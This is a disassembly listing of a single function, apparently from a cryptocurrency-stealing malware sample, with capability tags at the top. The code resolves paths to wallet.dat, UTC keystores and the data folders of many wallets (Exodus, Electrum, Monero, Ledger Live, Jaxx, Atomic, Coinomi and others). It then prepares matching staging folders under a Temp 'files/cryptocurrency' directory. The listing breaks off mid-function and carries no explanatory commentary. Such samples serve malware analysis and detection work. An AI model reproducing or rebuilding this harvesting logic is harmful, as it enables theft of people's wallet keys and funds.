Function at 0x4175c0
Capabilities:
Check if file exists
Create directory
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c0560
push eax
mov eax, 0x4784
mov dword fs:[0], esp
call fcn.004bef90
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x1ef0]
push 0x208
push eax
push str._USERPROFILE_Desktop.txt
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files__files
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417633
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1ce8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41767c
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417672
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d07
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4176d1
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4176c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d07
push edx
push ecx
call fcn.004a24e6
add esp, 8
sub esp, 0x18
lea ecx, [ebp - 0x1ce8]
mov edx, esp
mov dword [ebp - 0x48], esp
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4176f5
sub ecx, esi
lea eax, [ebp - 0x1ce8]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 1
mov edx, esp
lea ecx, [ebp - 0x1ef0]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417740
sub ecx, esi
lea eax, [ebp - 0x1ef0]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
mov dword [ebp - 4], 0xffffffff
call fcn.00414620
add esp, 0x30
lea eax, [ebp - 0x488]
push 0x208
push eax
push str._USERPROFILE_
call edi
push 0xa
xor eax, eax
mov dword [ebp - 0x18], 0
push str.wallet.dat
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 2
mov edx, esp
lea ecx, [ebp - 0x488]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4177d0
sub ecx, esi
lea eax, [ebp - 0x488]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
lea ecx, [ebp - 0x28]
call fcn.00416c20
mov dword [ebp - 4], 0xffffffff
add esp, 0x18
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41783a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417830
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d0c
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.UTC__2
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 3
mov edx, esp
lea ecx, [ebp - 0x488]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417885
sub ecx, esi
lea eax, [ebp - 0x488]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
lea ecx, [ebp - 0x28]
call fcn.00416c20
mov dword [ebp - 4], 0xffffffff
add esp, 0x18
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4178ef
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4178e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d11
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x208
lea eax, [ebp - 0x2300]
push eax
push str._LocalAppData_Coinomi
call edi
push 0x208
lea eax, [ebp - 0x2710]
push eax
push str._AppData_waves_exchange
call edi
push 0x208
lea eax, [ebp - 0x2b20]
push eax
push str._AppData_Ledger_Live_sqlite
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files__filesCoinomi
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x41795e
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x20f8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4179a7
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41799d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d16
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4179fc
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4179f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d16
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files__fileswaves_exchange
mov edx, eax
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417a32
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2508]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417a7b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417a71
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d1b
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x417ad0
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417ac6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d1b
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files__filesLedger_Live_sqlite
mov edx, eax
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417b06
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2918]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417b4f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417b45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d20
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x417ba4
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417b9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d20
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea edx, [ebp - 0x20f8]
lea ecx, [ebp - 0x2300]
call fcn.00414550
lea edx, [ebp - 0x2508]
lea ecx, [ebp - 0x2710]
call fcn.00414550
lea edx, [ebp - 0x2918]
lea ecx, [ebp - 0x2b20]
call fcn.00414550
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectrum
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417c0d
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2d28]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417c56
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417c4c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d25
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x417cab
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417ca1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d25
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectronCash
mov edx, eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417ce1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2f30]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417d2a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417d20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d2a
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x417d7f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417d75
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d2a
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectrum_btcp
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417db5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x3138]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417dfe
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417df4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d2f
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x417e53
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417e49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d2f
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x2d28]
push 0
push eax
call esi
push 0
lea eax, [ebp - 0x2f30]
push eax
call esi
push 0
lea eax, [ebp - 0x3138]
push eax
call esi
push 0x208
lea eax, [ebp - 0x3340]
push eax
push str._USERPROFILE_AppDataRoamingJaxx
call edi
push 0x208
lea eax, [ebp - 0x3548]
push eax
push str._USERPROFILE_AppDataRoamingExodus
call edi
push 0x208
lea eax, [ebp - 0x3750]
push eax
push str._USERPROFILE_AppDataRoamingMultiBitHD
call edi
push 0x208
lea eax, [ebp - 0x3958]
push eax
push str._USERPROFILE_DocumentsMonero
call edi
push 0x208
lea eax, [ebp - 0x3b60]
push eax
push str._USERPROFILE_AppDataRoamingExodus_Eden
call edi
push 0x208
lea eax, [ebp - 0x3d68]
push eax
push str._USERPROFILE_AppDataRoamingElectrumwallets
call edi
push 0x208
lea eax, [ebp - 0x3f70]
push eax
push str._USERPROFILE_AppDataRoamingElectrum_btcpwallets
call edi
push 0x208
lea eax, [ebp - 0x4178]
push eax
push str._USERPROFILE_AppDataRoamingElectronCashwallets
call edi
push 0x208
lea eax, [ebp - 0x4380]
push eax
push str._USERPROFILE_AppDataRoamingcom.liberty.jaxx
call edi
push 0x208
lea eax, [ebp - 0x4588]
push eax
push str._APPDATA_Atomic
call edi
push 0x208
lea eax, [ebp - 0x4790]
push eax
push str._APPDATA_waves_client
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyJaxx
mov edx, eax
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x417f81
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x690]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x417fca
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417fc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d34
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41801f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418015
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d34
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyExodus
mov edx, eax
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418055
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x898]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41809e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418094
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d39
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4180f3
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4180e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d39
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyMultiBitHD
mov edx, eax
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418129
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xaa0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x418172
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418168
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d3e
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4181c7
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4181bd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d3e
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyMonero
mov edx, eax
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4181fd
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xca8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x418246
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41823c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d43
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41829b
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418291
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d43
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyExodus_Eden
mov edx, eax
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4182d1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xeb0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41831a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418310
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d48
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41836f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418365
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d48
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectrumwallets
mov edx, eax
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4183a5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x10b8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4183ee
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4183e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d4d
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x418443
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418439
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d4d
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectrum_btcpwallets
mov edx, eax
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418479
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x12c0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4184c2
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4184b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d52
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x418517
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41850d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d52
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyElectronCashwallets
mov edx, eax
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x41854d
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x14c8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x418596
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41858c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d57
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4185eb
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4185e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d57
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencycom.liberty.jaxx
mov edx, eax
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x418621
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x16d0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41866a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418660
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d5c
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4186bf
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4186b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d5c
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencyAtomic
mov edx, eax
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4186f5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x18d8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41873e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418734
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d61
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x418793
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418789
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d61
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencywaves_client
mov edx, eax
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4187c9
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1ae0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x418812
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418808
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418d66
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
